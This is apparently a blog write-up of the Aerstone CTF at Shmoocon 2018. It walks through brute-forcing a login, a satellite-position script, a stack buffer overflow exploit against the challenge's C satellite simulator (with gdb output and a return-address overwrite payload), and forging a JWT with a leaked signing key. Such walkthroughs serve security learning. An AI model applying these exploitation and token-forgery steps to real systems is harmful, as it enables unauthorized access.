Aerstone CTF | Shmoocon 2018

T0w3ntuM
Pentestsec
Published in
12 min readJan 21, 2018

01 — Global Transmitter Network Access

Objective:

In order to communicate with the satellite, you must first gain access to a satellite transceiver ground station.

The system is heavily locked down. Before we can perform any actions we must obtain a vaild authorization code.

Access the GTN at: https://gtn.shmoocon2018.aerstone.com

NOTE: Brute forcing IS allowed, just play nice ;)

Solution:

I’ll admit, I spent a lot of time on this one as I imagine a lot of the competators did. I’m not used to brute force being the answer when it comes to CTF’s, however it was in this case.

First, I generated a small wordlist by running cewl on the site.

root@kali:/mnt/hgfs/kali64/zuma/bin# cewl https://gtn.shmoocon2018.aerstone.com
CeWL 5.3 (Heading Upwards) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Communication
Message
Global
Transmitter
Network
GTN
Available
Dishes
Main
Menu
Transmission
Bootstrap
Home
Transmit
Administration
Log
ACCESS
DENIED
container
Login
Communications
View
Adjust
Dish
Edit
communication
Please
login

As it’s a rather small list, I just fed this into Burp intruder and ran it. The following image shows that the password Communications returns a different content length, and sure enough that is the correct password.

And now we have our flag

02 — Azimuth

Objective:

Now that you have control over the ground station, you must determine the coordinates of where to point the satellite.

We have recently spotted the satellite and computed it’s orbit. You now must determine the location of the satellite in orbit and position the communication array accordingly.

nc azimuth.shmoocon2018.aerstone.com 3000

Solution:

Here is what we are told when we first connect to the server:

```
#########################################################################
# Before you can communicate with an orbiting object, you must #
# first determine it's azimuth and elevation so the transmitter #
# can be accuratly positioned #
# #
# First you must proove you can calculate them correctly before #
# we will give you the final information. #
# #
# You will receive four lines formatted as such: #
# #
# Line 1: Two Line Element Set #
# Line 2: Two Line Element Set #
# Line 3: Two Line Element Set #
# Line 4: latitude longitude altitude timestamp #
# #
# Altitue is given in meters, timestamp is UTC #
# #
# Line 4 contains coordinates on Earth for a transmitter. #
# #
# Please return a single line (\n terminated) with azimuth and #
# elevation in degrees with the format: #
# azimuth elevation #
# #
# If there is no solution return: #
# no solution #
# #
# Tolerance is allowed up to 0.20 degrees #
# #
# Assume a horizon of 0.0 degrees #
#########################################################################
# EXAMPLETLE0118 #
# 1 71589U 88340Q 17338.08999788 .2662445-1 000000-0 178530-2 0 09181 #
# 2 71589 157.285 108.4565 30303-2 112.3047 141.1933 12.74449262354565 #
# 0.1732186 -71.8916986 7 2018-01-02 18:54:15.493294 #
# 237.7788292 4.8210156 #
#########################################################################
AERSTONE000000
1 85510U 97470H 17354.56692690 .6821516-1 000000-0 904700-3 0 09779
2 85510 167.959 356.9992 12869-0 193.5472 137.5222 8.718387745640267
-20.7218987 54.4410721 2451 2018-01-21 17:52:38.651217
# [E

We are given TLE data and need to calculate the azimuth and elevation. Lucky for us, there is a python library to help with this: ephem

After messing with it for a little bit and making sure I could calculate the example provided, I fired off my first script to find out that it wants me to do more than one set. After modifying the script and messing with timing, here is the final script used.

import ephem, socket, time, select
import numpy as np
def calculate(data):
lines = data.splitlines()
sat = ephem.readtle(lines[-4],lines[-3],lines[-2])
observer = lines[-1].split()
ga = ephem.Observer()
ga.lat, ga.lon, ga.elevation, ga.date = observer[0], observer[1], int(observer[2]), observer[3]+' '+observer[4]
try:
sat.compute(ga)
except:
return "no solution\n"
try:
if np.degrees(sat.alt) < 0:
return "no solution\n"
except:
return "no solution\n"
else:
try:
print "%.8f %8f\n" % (np.degrees(sat.az),np.degrees(sat.alt))
return "%.8f %8f\n" % (np.degrees(sat.az),np.degrees(sat.alt))
except:
return "no solution\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("azimuth.shmoocon2018.aerstone.com", 3000))
while True:
time.sleep(.4)
data = s.recv(4000)
print data
final = calculate(data)
print "[*] %s" % final
s.send(final)

We send this off, calculate 200 runs and then get the flag.

# [!] Finished! FLAG:{91420600-a63c-427f-91f7-39fd95369a78}
# [!] Use the following TLE to align a ground station through the GTN
ZUMA
1 43098C 18001A 17348.22568377 .00001930 00000-0 36372-4 0 9991
2 43098 51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89755

The TLE data given will be used in a later challenge, and is a small challenge itself.

03 — Satellite

Objective:

We have received the original source code of the satellite (don’t ask how).

Find a vulnerability within the communications module that allows you to execute either selfDestruct() or deploy(float lat, float lon).

Test your payloads by sending them to:

satsim.shmoocon2018.aerstone.com 3000
e.g.
./exploit.py | nc satsim.shmoocon2018.aerstone.com 3000

NOTE: Architecture is x86_64 with no ASLR. You do not need to gain shell access!
NOTE: There is a bug with timing on the server. Send your payload immediatly, e.g. exploit.py > data; nc satsim.shmoocon2018.aerstone.com 3000 < data. This does not affect local binaries

Solution:

We are given the raw source files to go through. Immediatly we can see what the protocol is expecting in satlib.h as the developer left a nice comment about it.

/**
* Satelllite Communications Protocol:
*
* +---------------------+
* | Header |
* +---------------------+
* | Module Data |
* +---------------------+
* | Header... |
* +---------------------+
* | Module Data |
* +---------------------+
*
* Header:
* 0 1
* 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Version | Data Type |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*
* After receiving a 'header' with a valid 'Version', the data stream will be
* passed off to the module defined by 'Data Type'
*
* Valid Version: 0x13
* Available Data Type:
* Propulsion Module: 0x20
* Abort Module: 0x30
* Communications Module: 0x37
* END: 0x00
*
* A Data Type of "END" will terminate the server
*
* Example Data Stream:
* 13200100011300
*
* Header Prop Head Prop Data Header
* [ 13|20 ] [ 01 ] [ 0001 ] [ 13|00 ]
*/

Knowing how to structure the header, I then need to find a module to call. After looking around, I find this in comms.h

/**
*
* Communications Header:
* 0 1
* 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Type | Size |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*
* Valid Types are:
* * Text: 0x00
* * Binary: 0x01
*
* The Communications module will:
* * Read the Communications Header
* * Pass processing of communications information to a submodule for each
* 'type'
**/

and here is the comms.c file

#include "common.h"
#include "satlib.h"
#include "comms.h"
int comms_txt(struct comms_header *header, int fd){
char data[32];
memset(&data,0,sizeof(data));
if(get_data(data, fd, header->size) == -1){
printf("[E] Failed to read data\n");
return 1;
}
printf("[I] Received: '%s'\n", data);
return 0;
}
int comms_bin(struct comms_header *header, int fd){
char data[32];
memset(&data,0,sizeof(data));
int bytes = get_data(data, fd, header->size);
if(bytes == -1){
printf("[E] Failed to read data\n");
return 1;
}
printf("[I] Received: %d bytes\n", bytes);
return 0;
}
int comms_module(struct header* header_buf, int fd){
struct comms_header ch;

printf("[I] Processing comms module\n");
if(get_data((char*)&ch, fd, sizeof(struct comms_header)) == -1){
printf("[E] Failed to read data\n");
return 1;
}
switch(ch.type){
case COMMS_TXT: return comms_txt(&ch, fd); break;
case COMMS_BIN: return comms_bin(&ch, fd); break;
};
return 0;
}

Since comms_txt looks like a promising place to perform a buffer overflow, I can craft the first part of the payload with the following three bytes

“\x13\x37\x00”

This will tell the program the appropriate version, then to call the Communications Module and use COMMS_TXT within that module.

Now a little bit of fuzzing and I can succesfully cause a seg fault.

root@kali:/mnt/hgfs/kali64/zuma/bin# python -c'print "\x13\x37\x00" + "A" * 50' | ./zuma
Self Destruct: 0x555555554ad0
deploy: 0x555555554b25
[I] Processing comms module
[I] Received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'
Segmentation fault

Great, time to find out exactly where that seg fault occures by generating a simple pattern and using GDB to determine what RBP gets overwritten with. Below you can see that the pattern is seen in RBP with an exact offset of 33. Adding 8 to this gives us 41.

root@kali:/mnt/hgfs/kali64/zuma/bin# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
root@kali:/mnt/hgfs/kali64/zuma/bin# python -c'print "\x13\x37\x00" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"' > in2.txt
root@kali:/mnt/hgfs/kali64/zuma/bin#
root@kali:/mnt/hgfs/kali64/zuma/bin# gdb -q ./zuma
Reading symbols from ./zuma...(no debugging symbols found)...done.
gdb-peda$ r < in2.txt
Starting program: /mnt/hgfs/kali64/zuma/bin/zuma < in2.txt
Self Destruct: 0x555555554ad0
deploy: 0x555555554b25
[I] Processing comms module
[I] Received: 'a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
'
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x555555757260 ("'\n] Received: 'a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab\n")
RDI: 0x0
RBP: 0x6241326241316241 ('Ab1Ab2Ab')
RSP: 0x7fffffffe0d8 ("3Ab4Ab5Ab\n")
...SNIP...Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555548c1 in comms_txt ()
gdb-peda$
root@kali:/mnt/hgfs/kali64/zuma/bin# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 50 -q 0x6241326241316241
[*] Exact match at offset 33

Now to verify that I can control the value of RBP, I regenerate the following payload

root@kali:/mnt/hgfs/kali64/zuma/bin# python -c'print "\x13\x37\x00" + "A" * 31 + "B" * 16' > in2.txt
root@kali:/mnt/hgfs/kali64/zuma/bin# exit
exit
gdb-peda$ r < in2.txt
Starting program: /mnt/hgfs/kali64/zuma/bin/zuma < in2.txt
Self Destruct: 0x555555554ad0
deploy: 0x555555554b25
[I] Processing comms module
[I] Received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB
'
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x555555757260 ("'\n] Received: '", 'A' <repeats 30 times>, 'B' <repeats 16 times>, "\n")
RDI: 0x0
RBP: 0x4242424242424242 ('BBBBBBBB')
...SNIP...Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555548c1 in comms_txt ()

I control RBP which means I control the return value for the comms_txt() function. Now I just need to know the address to put there, luckily the program tells me.

root@kali:/mnt/hgfs/kali64/zuma/bin# nc satsim.shmoocon2018.aerstone.com 3000
Self Destruct: 0x555555554b36
deploy: 0x555555554b8b
[E] Failed to read header

So I send the payload and get the flag

root@kali:/mnt/hgfs/kali64/zuma/bin# python -c'print "\x13\x37\x00" + "\x90" *(41) + "\x36\x4b\x55\x55\x55\x55\x00\x00"' > in.txt | nc satsim.shmoocon2018.aerstone.com 3000 < in.txt
Satellite Destroyed!
VICTORY! FLAG{27c66ea7-415d-4ede-a79e-674d4dbc6036}

04 — GTN 3/3

Objective:

Once you have a functioning payload, now you need to transmit it.

Use the GTN to transmit a valid and authorized message.

Earlier we intercepted a message sent to the ISS. Maybe it can be of use to you.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkJlcnJ5X1N1bW1lcnMiLCJkYXRhIjoiVlZWRVJFeFNURkpDUVFvPSJ9.0nMwjRVXgO9zsptjyTFdP6qE1FKwXpo-2QeUEIfuVEc

https://gtn.shmoocon2018.aerstone.com/?page=adjust_dish

NOTE: You will receive a flag after successfully transmitting a message through the GTN

Solution:

Immediatly, I can see that it is using a JWT token with the following information

Header:
{
"typ": "JWT",
"alg": "HS256"
}
Payload:
{
"username": "Berry_Summers",
"data": "VVVERExSTFJCQQo="
}

What I don’t know is the signature, however I do have admin access to the GTN for which we can generate an employee report. The report contains the Authorization Code for all of the employees

I can see the Authorization Code for Berry Summers and using jwt.io I can verify the signature

Unfortunately, I can’t use Berry Summers, see the below screenshots to see why.

Instead, I picked out a different user from the list, Penny Solomon with Authorization Code of 5J2F8LG426 and crafted a new JWT.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlBlbm55X1NvbG9tb24iLCJkYXRhIjoiVlZWRVJFeFNURkpDUVFvPSIsImp0aSI6Ijk4ZWUyMmMwLTdkYjUtNGE3YS1hMzEwLWE1YTQ4MThhOGQxOCIsImlhdCI6MTUxNjU2MTM4OSwiZXhwIjoxNTE2NTY0OTg5fQ.Il6LkaN-i94MPWfUayGvmDjokEvWUFWcNNOb8P6gDw4

And got my flag.

All Together Now

Objective:

One, two, three, four, 
Can I have a little more,
Five, six, seven, eight, nine, ten,
I hax you.

Takedown

Once you have:

- Accessed the GTN

- Calculated the satellite position

- Crafted a successful payload

- Packaged it all up nicely

You can then send your payload to the satellite.

https://gtn.shmoocon2018.aerstone.com

NOTE: Validation is done against current times.

Solution:

Remember that TLE from challenge 2? That’s important here:

ZUMA
1 43098C 18001A 17348.22568377 .00001930 00000-0 36372-4 0 9991
2 43098 51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89755

First, I needed to fix the TLE, this required a fair bit of study on TLE format. What I learn is that the last digit on lines 2 and 3 are the checksum value which is wrong in both lines.

In order to calculate the checksum, first you add up all the values. All non-digits except for the ‘-’ equal 0, ‘-’ equals 1. So for line 2 we have.

1+4+3+0+9+8+0+1+8+0+0+1+0+1+7+3+4+8+0+2+2+5+6+8+3+7+7+0+0+0+0+0+1+9+3+0+0+0+0+0+0+1+0+3+6+3+7+2+1+4+0+9+9+9=165

Then take the result and mod 10 it.

165 % 10 = 5

So now the second line becomes

1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9995

Repeat the process for the last line and now I have a properly formatted TLE

ZUMA
1 43098C 18001A 17348.22568377 .00001930 00000-0 36372-4 0 9995
2 43098 51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89759

The next part of the challenge was to find a valid transmitter to use to communicate with the satalite. I created a CSV of all the transmitters from https://gtn.shmoocon2018.aerstone.com/index.php?page=transmitter_report and used the following script to calculate which would return a valid azimuth and elevation as negative elevation is not possible, otherwise we are shoving the transmitter into the ground :)

import ephem, datetime, csv, re
import numpy as np
l1 = "ZUMA"
l2 = "1 43098C 18001A 17348.22568377 .00001930 00000-0 36372-4 0 9995"
l3 = "2 43098 51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89759"
sat = ephem.readtle(l1,l2,l3)
ga = ephem.Observer()
now = datetime.datetime.utcnow()
with open('stations.csv', 'rb') as file:
read = csv.reader(file, delimiter=',')
for r in read:
ga.lat, ga.lon, ga.date = r[1], r[2], str(now)
elevation = re.sub('m', '', r[3])
elevation = re.sub(' ', '', elevation)
ga.elevation = float(elevation)
sat.compute(ga)
if np.degrees(sat.alt) < 0:
print "\033[91m[-] Invalid"
else:
print "\033[92m[+] Valid"
print "%s: %.8f %8f\n" % (r[0],np.degrees(sat.az),np.degrees(sat.alt))

Keep in mind that this is time based, so the valid transmission station will change depending on the current UTC time. Running it just now produced the following results

[-] Invalid
Canberra Deep Space Communication Complex: DSS-34: 318.09532414 -55.197399
[-] Invalid
Canberra Deep Space Communication Complex: DSS-35: 318.09532414 -55.197399
[-] Invalid
Canberra Deep Space Communication Complex: DSS-36: 318.09532414 -55.197399
[-] Invalid
Canberra Deep Space Communication Complex: DSS-43: 318.09532414 -55.197399
[-] Invalid
Bukit Timah Satellite Earth Station: 334.22126417 -26.450271
[-] Invalid
Mount Pleasant Radio Observator: 316.30854665 -57.608711
[-] Invalid
White Sands Ground Terminal (WSGT): 4.04035571 -46.182362
[-] Invalid
Second TDRSS Ground Terminal (STGT): 4.03794679 -46.160064
[-] Invalid
Guam Remote Ground Terminal (GRGT): 320.34641789 -33.543175
[-] Invalid
Air Force Space Communications Network: 320.34636324 -33.542875
[-] Invalid
Goldstone Deep Space Communications Complex: 357.76820473 -44.785243
[-] Invalid
Goonhilly Satellite Earth Station-1: 58.65497350 -17.340131
[-] Invalid
Goonhilly Satellite Earth Station-2: 58.65215263 -17.341468
[-] Invalid
Goonhilly Satellite Earth Station-3: 58.65184527 -17.341560
[-] Invalid
Goonhilly Satellite Earth Station-4: 58.65197504 -17.340968
[-] Invalid
Goonhilly Satellite Earth Station-5: 58.65618927 -17.338323
[-] Invalid
AT&T: 21.91821194 -38.965212
[-] Invalid
SANSA: 23.25788695 -40.554610
[-] Invalid
Kaena Point: 333.73205870 -46.822425
[-] Invalid
Swakopmund: 29.54945082 -41.809289
[-] Invalid
Troll: 48.47370569 -64.966301
[-] Invalid
Lurin: 29.17091491 -64.743500
[+] Valid
RSC Zheleznogorsk: 265.23312970 4.444074

As you can see, only one is valid, RSC Zheleznogorsk.

The next step is to find a user in the system who can transmit from that system, generate a JWT with a valid signature using their Authorization Code, and base64 encode our payload from challenge 03.

This will take trial and error as not every user is permitted to use every transmission station.

THE END

--

--

T0w3ntuM
Pentestsec

toe-in-tum because I know you were wondering.